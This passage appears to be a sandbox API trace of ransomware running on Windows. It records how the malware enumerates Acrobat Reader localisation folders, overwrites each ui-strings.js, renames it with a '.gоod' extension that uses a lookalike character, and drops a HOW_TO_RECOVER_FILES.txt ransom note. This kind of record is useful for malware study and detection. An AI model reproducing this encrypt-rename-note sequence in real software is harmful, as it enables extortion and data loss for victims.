DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0222.366] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.366] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0222.366] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0222.366] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0222.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.367] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0222.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3544a28 | out: lpFileInformation=0x3544a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a)) returned 1 [0222.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0222.367] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0222.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0222.367] GetFileType (hFile=0x834) returned 0x1 [0222.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0222.367] GetFileType (hFile=0x834) returned 0x1 [0222.367] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x73a [0222.367] ReadFile (in: hFile=0x834, lpBuffer=0x3545510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3545510*, lpNumberOfBytesRead=0x203eb258*=0x73a, lpOverlapped=0x0) returned 1 [0222.747] CloseHandle (hObject=0x834) returned 1 [0224.116] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0224.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0224.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0224.117] GetFileType (hFile=0x630) returned 0x1 [0224.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0224.117] GetFileType (hFile=0x630) returned 0x1 [0224.118] WriteFile (in: hFile=0x630, lpBuffer=0x3676f30*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3676f30*, lpNumberOfBytesWritten=0x203eb168*=0x740, lpOverlapped=0x0) returned 1 [0224.118] CloseHandle (hObject=0x630) returned 1 [0224.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0224.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0224.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0224.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x81cb5f01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0224.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0224.119] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\ui-strings.js.gоod")) returned 1 [0225.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0225.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0225.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0225.554] GetFileType (hFile=0x858) returned 0x1 [0225.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0225.554] GetFileType (hFile=0x858) returned 0x1 [0225.554] WriteFile (in: hFile=0x858, lpBuffer=0x3799400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3799400*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0225.555] CloseHandle (hObject=0x858) returned 1 [0225.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0225.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua", lpFilePart=0x0) returned 0x77 [0225.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0225.576] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.577] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0225.577] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0225.577] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0225.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0225.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0225.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0225.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua", lpFilePart=0x0) returned 0x77 [0225.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0225.577] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.577] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0225.578] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0225.578] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0225.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0225.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0225.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0225.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0225.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35e47c0 | out: lpFileInformation=0x35e47c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c)) returned 1 [0225.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0225.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0225.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0225.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0225.579] GetFileType (hFile=0x858) returned 0x1 [0225.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0225.579] GetFileType (hFile=0x858) returned 0x1 [0225.579] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x99c [0225.579] ReadFile (in: hFile=0x858, lpBuffer=0x35e5508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x35e5508*, lpNumberOfBytesRead=0x203eb258*=0x99c, lpOverlapped=0x0) returned 1 [0225.581] CloseHandle (hObject=0x858) returned 1 [0226.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0226.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0226.183] GetFileType (hFile=0x864) returned 0x1 [0226.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0226.183] GetFileType (hFile=0x864) returned 0x1 [0226.183] WriteFile (in: hFile=0x864, lpBuffer=0x363bba0*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x363bba0*, lpNumberOfBytesWritten=0x203eb168*=0x9a0, lpOverlapped=0x0) returned 1 [0226.184] CloseHandle (hObject=0x864) returned 1 [0226.184] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.184] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0226.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0226.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x83087f17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0226.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0226.184] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js.gоod")) returned 1 [0226.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0226.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0226.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0226.186] GetFileType (hFile=0x864) returned 0x1 [0226.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0226.186] GetFileType (hFile=0x864) returned 0x1 [0226.186] WriteFile (in: hFile=0x864, lpBuffer=0x363f4b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x363f4b0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0226.187] CloseHandle (hObject=0x864) returned 1 [0226.187] SetThreadErrorMode (dwNewMode=0x1, 